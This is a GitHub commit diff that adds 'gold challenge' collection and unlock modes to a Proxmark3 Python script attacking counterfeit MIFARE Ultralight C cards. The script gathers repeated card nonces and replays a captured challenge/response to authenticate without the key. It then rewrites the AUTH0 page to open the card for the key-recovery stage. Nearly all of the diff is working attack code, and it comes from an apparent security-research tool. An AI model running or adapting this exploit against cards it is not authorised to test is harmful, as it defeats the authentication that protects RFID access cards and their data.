Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 20aaf4c

Browse files
committed
mfulc_counterfeit_recovery.py: add --get_frequent_chal and --unlock
1 parent 62aa2ad commit 20aaf4c

1 file changed

Lines changed: 172 additions & 44 deletions

File tree

client/pyscripts/mfulc_counterfeit_recovery.py

Lines changed: 172 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,6 @@
1313
import argparse
1414
import random
1515
import sys
16-
import os
1716
import re
1817
import threading
1918
import time
@@ -233,52 +232,77 @@ def start(self):
233232
scramble_thread.join()
234233

235234

236-
def collect(num_challenges: int, p, debug: bool, force:bool) -> Optional[dict]:
237-
"""
238-
Collect challenges from the card and check if it is vulnerable.
235+
def try_unlock(num_challenges: int, erndb: str, erndarndb: str, p) -> bool:
236+
"""Try to unlock the card by using the provided reader response
239237
240238
Args:
241-
num_challenges (int): Number of challenges to collect.
242-
p: Proxmark3 instance.
243-
debug (bool): Enable debug mode.
244-
force (bool): Force the attack even if the card does not appear vulnerable (dangerous!).
239+
num_challenges (int): Number of challenge reads to attempt.
240+
erndb (str): Card challenge to look for.
241+
erndarndb (str): Reader response to use.
242+
p: Proxmark3 instance used to issue raw commands and read responses.
245243
246244
Returns:
247-
Optional[dict]: Collected challenges data or None if the card is not vulnerable.
245+
bool:
246+
Success
248247
"""
249-
# Sanity check: make sure an Ultralight C is on the Proxmark
250-
p.console("hf 14a info")
251-
if "MIFARE Ultralight C" not in p.grabbed_output:
252-
print("[-] Error: \033[1;31mUltralight C not placed on Proxmark\033[0m")
253-
return
254-
else:
255-
print("[+] Ultralight C detected. Keep stable on Proxmark during the attack.")
248+
challenges_collected = 0
249+
next_progress = 10
256250

257-
# Sanity check: ensure card is unlocked and lock bytes do not prevent key overwrite
258-
p.console("hf 14a raw -sc 3028")
259-
hex_bytes = p.grabbed_output.split()
260-
if len(hex_bytes) < 16:
261-
print("[-] Error: \033[1;31mCard not unlocked. Run relay attack in UNLOCK mode first.\033[0m")
262-
return
263-
data_bytes = [bytes.fromhex(b) for b in hex_bytes[1:17]]
264-
# Byte 0 of page 42: 0x30 minimum
265-
minimum_auth_page = ord(data_bytes[8])
266-
if minimum_auth_page < 48:
267-
print("[-] Error: \033[1;31mCard not unlocked. Run relay attack in UNLOCK mode first.\033[0m")
268-
return
269-
# First bit of byte 1 in page 40: lock key
270-
is_locked_key = ((ord(data_bytes[1]) & 0x80) >> 7) == 1
271-
if is_locked_key:
272-
print("[-] Error: \033[1;31mCard is not vulnerable (see READ mode in relay app)\033[0m")
273-
return
251+
print("[=] Waiting for the provided challenge to appear...")
252+
while challenges_collected < max(1, num_challenges):
253+
p.console("hf 14a raw -sck 1A00")
254+
challenge = p.grabbed_output.split()
255+
if (len(challenge) > 8) and (challenge[1] == "AF"):
256+
hex_challenge = "".join(challenge[2:10]).upper()
257+
# print(hex_challenge, erndb)
258+
challenges_collected += 1
259+
progress = challenges_collected * 100 // max(1, num_challenges)
260+
if progress >= next_progress:
261+
print(f"[=] Progress: {min(progress, 100)}%")
262+
next_progress += 10
263+
if hex_challenge == erndb:
264+
p.console(f"hf 14a raw -ck AF{erndarndb}")
265+
response = p.grabbed_output.split()
266+
if (len(response) > 8) and (response[1] == "00"):
267+
print("[+] Unlock successful!")
268+
# Rewrite AUTH0
269+
p.console("hf 14a raw -c a2 2a 30000000")
270+
response = p.grabbed_output.split()
271+
if response[1] == "0A":
272+
print("[+] AUTH0 reset successful!")
273+
return True
274+
else:
275+
print("[-] AUTH0 reset failed")
276+
print(response)
277+
return False
278+
else:
279+
print("[-] Unlock failed")
280+
p.console("hf 14a reader --drop", capture=False)
281+
return False
282+
p.console("hf 14a reader --drop", capture=False)
283+
print("[-] Provided challenge not found, try again")
284+
return False
285+
286+
287+
def collect_100(num_challenges: int, p, early_stop: bool) -> tuple[int, dict]:
288+
"""Collect challenges and track the most frequent nonce occurrence.
274289
275-
print("[+] All sanity checks \033[1;32mpassed\033[0m. Checking if card is vulnerable.\033[?25l")
290+
Args:
291+
num_challenges (int): Number of challenge reads to attempt.
292+
p: Proxmark3 instance used to issue raw commands and read responses.
293+
early_stop (bool): Stop as soon as a repeated challenge is detected.
276294
295+
Returns:
296+
tuple[int, dict]:
297+
- max_occurrence: Highest number of times any single challenge appeared.
298+
- challenges: Collected challenge map including "challenge_100", set to the
299+
most frequent challenge seen during collection.
300+
"""
277301
# Collect challenges (100)
278302
challenges_collected = 0
279-
challenges_100 = set()
303+
occurrences = {}
304+
max_occurrence = 1
280305
challenges = {}
281-
collision = False
282306

283307
while challenges_collected < max(1, num_challenges):
284308
p.console("hf 14a raw -sc 1A00")
@@ -287,16 +311,20 @@ def collect(num_challenges: int, p, debug: bool, force:bool) -> Optional[dict]:
287311
hex_challenge = "".join(challenge[2:10])
288312
if challenges_collected == 0:
289313
challenges["challenge_100"] = hex_challenge
290-
if hex_challenge in challenges_100:
291-
collision = True
292-
break
314+
if hex_challenge in occurrences:
315+
occurrences[hex_challenge] += 1
316+
if occurrences[hex_challenge] > max_occurrence:
317+
max_occurrence = occurrences[hex_challenge]
318+
challenges["challenge_100"] = hex_challenge
319+
if early_stop:
320+
break
293321
else:
294-
challenges_100.add(hex_challenge)
322+
occurrences[hex_challenge] = 1
295323
challenges_collected += 1
296324

297325
print("\n[+] 100 collection complete")
298326
print(f"\r[+] Challenges collected: \033[96m{challenges_collected}\033[0m")
299-
if collision:
327+
if max_occurrence > 1:
300328
print("[+] Status: \033[1;31mVulnerable\033[0m\033[?25h")
301329
else:
302330
experimental_chals_subset_size = 600
@@ -306,8 +334,76 @@ def collect(num_challenges: int, p, debug: bool, force:bool) -> Optional[dict]:
306334
precision = max(1, -int(math.floor(math.log10(probability_no_collision))) + 1)
307335
print("[+] Status: \033[1;32mNot vulnerable\033[0m"
308336
f" (false negative probability: {probability_no_collision*100:.{precision-1}f}%)\033[?25h")
309-
if not force:
310-
return
337+
return max_occurrence, challenges
338+
339+
340+
def get_ulc_uid(p) -> Optional[str]:
341+
"""Check whether the card on the reader is a MIFARE Ultralight C.
342+
343+
Args:
344+
p: Proxmark3 instance.
345+
346+
Returns:
347+
tuple[bool, Optional[str]]:
348+
- True and normalized UID (uppercase hex, no spaces) when detected.
349+
- False and None otherwise.
350+
"""
351+
# Sanity check: make sure an Ultralight C is on the Proxmark
352+
p.console("hf 14a info")
353+
info = p.grabbed_output
354+
if "MIFARE Ultralight C" not in info:
355+
print("[-] Error: \033[1;31mUltralight C not placed on Proxmark\033[0m")
356+
return None
357+
else:
358+
print("[+] Ultralight C detected. Keep stable on Proxmark during the operations.")
359+
uid_match = re.search(r"UID:\s*([0-9A-Fa-f ]+)", info)
360+
uid = "".join(uid_match.group(1).split()).upper() if uid_match else None
361+
return uid
362+
363+
364+
def collect(num_challenges: int, p, debug: bool, force: bool = False, erndarndb: Optional[str] = None) -> Optional[dict]:
365+
"""
366+
Collect challenges from the card and check if it is vulnerable.
367+
368+
Args:
369+
num_challenges (int): Number of challenges to collect.
370+
p: Proxmark3 instance.
371+
debug (bool): Enable debug mode.
372+
force (bool): Force the attack even if the card does not appear vulnerable (dangerous!).
373+
374+
Returns:
375+
Optional[dict]: Collected challenges data or None if the card is not vulnerable.
376+
"""
377+
378+
uid = get_ulc_uid(p)
379+
if uid is None:
380+
return
381+
382+
# Sanity check: ensure card is unlocked and lock bytes do not prevent key overwrite
383+
p.console("hf 14a raw -sc 3028")
384+
hex_bytes = p.grabbed_output.split()
385+
if len(hex_bytes) < 16:
386+
print("[-] Error: \033[1;31mCard not unlocked. See --get_frequent_chal and --unlock.\033[0m")
387+
return
388+
data_bytes = [bytes.fromhex(b) for b in hex_bytes[1:17]]
389+
# First bit of byte 1 in page 40: lock key
390+
is_locked_key = ((ord(data_bytes[1]) & 0x80) >> 7) == 1
391+
if is_locked_key:
392+
print("[-] Error: \033[1;31mCard OTP prevents key overwrite."
393+
" Card is not vulnerable (see READ mode in relay app)"
394+
" unless it's a Giantec (see tearing OTP)\033[0m")
395+
return
396+
# Byte 0 of page 42: 0x30 minimum
397+
minimum_auth_page = ord(data_bytes[8])
398+
if minimum_auth_page < 48:
399+
print("[-] Error: \033[1;31mCard not unlocked. See --get_frequent_chal and --unlock.\033[0m")
400+
return
401+
402+
print("[+] All sanity checks \033[1;32mpassed\033[0m. Checking if card is vulnerable.\033[?25l")
403+
404+
max_occurrence, challenges = collect_100(num_challenges, p, early_stop=True)
405+
if max_occurrence <= 1 and not force:
406+
return
311407

312408
# The card is vulnerable, proceed with attack
313409
# Danger zone. To reset a test card, run: hf mfu setkey -k 49454D4B41455242214E4143554F5946
@@ -408,18 +504,50 @@ def main():
408504
help='Use CUDA implementation')
409505
parser.add_argument('--force', action='store_true',
410506
help='Force the attack even if the card does not appear vulnerable (dangerous!)')
507+
parser.add_argument('--get_frequent_chal', action='store_true',
508+
help='Collect a "gold" challenge to perform an unlock, and quit afterwards')
509+
parser.add_argument('--unlock', help='Unlock a card with a "gold" challenge/response pair',
510+
type=str, metavar='ERndB,ERndARndB\'')
411511
args = parser.parse_args()
412512
debug = args.debug
413513
num_challenges = args.challenges
414514
offline = args.offline
415515
use_cuda = args.cuda
416516
force = args.force
517+
get_frequent_chal = args.get_frequent_chal
518+
erndb, erndarndb = args.unlock.split(',') if args.unlock else (None, None)
417519
brute_tool = tools["mfulc_des_brute_cuda"] if use_cuda else tools["mfulc_des_brute"]
418520

521+
if get_frequent_chal and (offline or args.json or force or use_cuda):
522+
print("[-] Error: --get_frequent_chal can only be combined with --challenges")
523+
return
524+
525+
if (erndb or erndarndb) and offline:
526+
print("[-] Error: --unlock can'n be combined with --offline")
527+
return
528+
529+
if get_frequent_chal:
530+
import pm3
531+
p = pm3.pm3()
532+
uid = get_ulc_uid(p)
533+
if uid is None:
534+
return
535+
max_occurrence, challenges = collect_100(num_challenges, p, early_stop=False)
536+
print(f"[+] Most frequent challenge: \033[1;34m{challenges['challenge_100']}\033[0m"
537+
f" (occurrences: {max_occurrence}/{num_challenges})")
538+
print("[+] Get the corresponding reader response with")
539+
print(f"[+] \033[1;33mhf mfu sim -t 13 -u {uid} --1a1 {challenges['challenge_100']}\033[0m")
540+
return
541+
419542
if not offline:
420543
import pm3
421544
p = pm3.pm3()
422-
challenges = collect(num_challenges, p, debug, force)
545+
if erndb and erndarndb:
546+
erndb = erndb.upper()
547+
erndarndb = erndarndb.upper()
548+
if not try_unlock(num_challenges, erndb, erndarndb, p):
549+
return
550+
challenges = collect(num_challenges, p, debug, force, erndarndb)
423551
if challenges is None:
424552
return
425553
if args.json:

0 commit comments

Comments
 (0)